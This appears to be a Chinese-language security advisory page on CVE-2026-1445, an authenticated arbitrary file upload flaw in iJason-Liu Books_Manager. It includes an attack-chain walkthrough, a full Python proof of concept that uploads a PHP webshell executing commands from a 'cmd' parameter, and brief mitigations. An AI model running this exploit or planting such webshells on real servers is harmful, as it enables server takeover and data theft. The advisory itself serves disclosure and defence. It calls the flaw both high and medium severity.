IPBUF安全漏洞报告
English
CVE-2026-1445 CVSS 4.7 中危

CVE-2026-1445 iJason-Liu Books_Manager任意文件上传漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-1445
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
iJason-Liu Books_Manager

相关标签

任意文件上传远程代码执行iJason-Liu Books_ManagerCVE-2026-1445Web应用安全权限绕过webshell

漏洞概述

CVE-2026-1445是iJason-Liu Books_Manager应用中的一个高危任意文件上传漏洞。该漏洞存在于controllers/books_center/upload_bookCover.php文件中,由于系统未对用户上传的book_cover参数进行充分的文件类型验证和内容检查,攻击者在获取高权限账号后,可以上传任意类型的文件(包括恶意PHP脚本),从而实现远程代码执行。漏洞的CVSS评分为4.7,属于中危级别,但考虑到漏洞利用已公开且可远程利用,对使用该系统的用户构成实质性威胁。攻击者利用此漏洞可以完全控制服务器,窃取敏感数据或部署恶意软件。建议受影响用户尽快采取防御措施。

技术细节

该漏洞源于iJason-Liu Books_Manager在处理书籍封面图片上传时的输入验证不足。具体问题出现在controllers/books_center/upload_bookCover.php文件对book_cover参数的处理逻辑中。系统在接收上传文件时,仅检查了文件的基本属性(如文件大小),但未对上传文件的扩展名、MIME类型和实际内容进行严格的验证。攻击者可以利用这一点构造恶意请求,上传包含PHP代码的.htaccess或.php文件。由于应用服务器配置允许PHP脚本执行,攻击者上传的恶意文件将被解析执行,从而在服务器上获得远程代码执行能力。漏洞利用需要认证为高权限用户,但一旦成功,攻击者可以完全控制整个Web服务器。

攻击链分析

STEP 1
步骤1
获取高权限账户:攻击者首先需要获取Books_Manager系统的高权限账号,或通过其他漏洞提升现有账户权限
STEP 2
步骤2
构造恶意上传请求:攻击者准备包含PHP webshell的恶意文件,并构造针对upload_bookCover.php的上传请求
STEP 3
步骤3
绕过文件验证:利用系统对book_cover参数验证不足的缺陷,通过修改Content-Type或文件扩展名绕过基础检查
STEP 4
步骤4
上传恶意文件:将包含PHP代码的webshell上传到服务器,目标路径通常为/uploads/或类似目录
STEP 5
步骤5
获取webshell访问:攻击者通过HTTP请求访问上传的恶意文件,传入cmd参数执行任意系统命令
STEP 6
步骤6
完全控制服务器:成功执行命令后,攻击者可以安装后门、窃取数据、横向移动或部署进一步攻击工具

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1445 PoC - Arbitrary File Upload in Books_Manager # Target: iJason-Liu Books_Manager # Vulnerability: Unrestricted upload in controllers/books_center/upload_bookCover.php # Authentication: Required (High Privilege) def upload_shell(target_url, session_cookie): """ Upload a PHP webshell to target server """ # Prepare malicious PHP webshell webshell_content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' # Upload endpoint upload_url = f"{target_url}/controllers/books_center/upload_bookCover.php" # Prepare multipart form data files = { 'book_cover': ('shell.php', webshell_content, 'application/x-php') } headers = { 'Cookie': session_cookie, 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(upload_url, files=files, headers=headers, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") # Try to access the uploaded shell shell_url = f"{target_url}/uploads/shell.php" test_cmd = requests.get(f"{shell_url}?cmd=whoami", timeout=10) if test_cmd.status_code == 200: print(f"[+] Webshell accessible at: {shell_url}") print(f"[+] Command execution confirmed: {test_cmd.text.strip()}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2026-1445: Unrestricted File Upload") upload_shell(target, cookie)

影响范围

iJason-Liu Books_Manager <= 298ba736387ca37810466349af13a0fdf828e99c

防御指南

临时缓解措施
由于该漏洞利用需要高权限账号,建议立即审查系统账户安全,限制高权限账户数量并使用强密码策略。同时在Web服务器配置中禁用上传目录的PHP脚本执行权限,防止webshell被成功利用。对于无法立即升级的情况,可临时禁用upload_bookCover.php功能或配置Web应用防火墙规则拦截异常文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表